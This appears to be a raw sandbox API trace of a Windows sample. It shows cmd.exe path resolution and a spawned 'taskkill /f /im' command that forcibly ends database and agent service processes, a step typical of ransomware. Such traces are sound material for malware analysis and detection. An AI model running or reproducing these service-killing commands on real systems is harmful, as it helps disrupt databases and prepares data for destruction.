	[0037.794] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.795] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.795] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.795] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.795] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.795] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x123fdbd8 | out: lpFileInformation=0x123fdbd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.795] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.795] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.795] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.795] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x123fdc78 | out: lpFileInformation=0x123fdc78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.795] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.795] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x123fdcc8 | out: lpFileInformation=0x123fdcc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.795] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.795] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x123fdd18 | out: lpFileInformation=0x123fdd18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.795] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.796] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x123fdd68 | out: lpFileInformation=0x123fdd68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.796] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.796] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x123fddb8 | out: lpFileInformation=0x123fddb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.796] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.796] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12408ea0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0037.796] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fde08 | out: lpFileInformation=0x123fde08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0037.796] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408f70, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.796] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fde58 | out: lpFileInformation=0x123fde58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0037.796] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
	[0037.796] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0037.797] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0037.797] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0037.797] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0037.797] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0037.797] GetEnvironmentStringsW () returned 0x7eb348*
	[0037.798] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0037.798] GetCurrentProcess () returned 0xffffffff
	[0037.798] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d5c10, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d5c10*=0xc0) returned 1
	[0037.798] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d5c14, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d5c14*=0xc4) returned 1
	[0037.798] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d5c18, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d5c18*=0xc8) returned 1
	[0037.798] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im agntsvc.exeisqlplussvc.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x1243bc00, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im agntsvc.exeisqlplussvc.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xb8, hThread=0xac, dwProcessId=0xa00, dwThreadId=0x808)) returned 1
	[0037.806] CloseHandle (hObject=0xac) returned 1
	[0037.806] CloseHandle (hObject=0xc8) returned 1
	[0037.806] CloseHandle (hObject=0xc4) returned 1
	[0037.806] CloseHandle (hObject=0xc0) returned 1
	[0037.806] CloseHandle (hObject=0xbc) returned 1
	[0037.806] CloseHandle (hObject=0xb0) returned 1
	[0037.806] CloseHandle (hObject=0xb4) returned 1
	[0037.807] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0
	[0038.242] SetEvent (hEvent=0xa8) returned 1
	[0038.242] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0038.242] GetProcessTimes (in: hProcess=0xb8, lpCreationTime=0x1247a960, lpExitTime=0x1247a968, lpKernelTime=0x1247a970, lpUserTime=0x1247a978 | out: lpCreationTime=0x1247a960, lpExitTime=0x1247a968, lpKernelTime=0x1247a970, lpUserTime=0x1247a978) returned 1
	[0038.242] CloseHandle (hObject=0xb8) returned 1
	[0038.242] SetEvent (hEvent=0x80) returned 1
	[0038.242] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0038.247] SetEvent (hEvent=0x80) returned 1
	[0038.247] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440c30, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.247] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124495e8 | out: lpFileInformation=0x124495e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.247] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.247] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12449638 | out: lpFileInformation=0x12449638*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.247] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.247] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449688 | out: lpFileInformation=0x12449688*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.247] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.248] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124496d8 | out: lpFileInformation=0x124496d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.248] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.248] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12449728 | out: lpFileInformation=0x12449728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.248] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.248] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12449778 | out: lpFileInformation=0x12449778*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.248] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.248] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124497c8 | out: lpFileInformation=0x124497c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.248] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.248] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12449818 | out: lpFileInformation=0x12449818*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.248] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.248] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12449868 | out: lpFileInformation=0x12449868*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.249] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.249] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124498b8 | out: lpFileInformation=0x124498b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.249] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.249] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12449908 | out: lpFileInformation=0x12449908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.249] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.249] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12449958 | out: lpFileInformation=0x12449958*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0038.249] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0038.249] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12440d00, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0038.249] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124499a8 | out: lpFileInformation=0x124499a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0038.249] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440dd0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.249] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124499f8 | out: lpFileInformation=0x124499f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0038.249] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8
	[0038.249] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0038.250] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0038.250] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
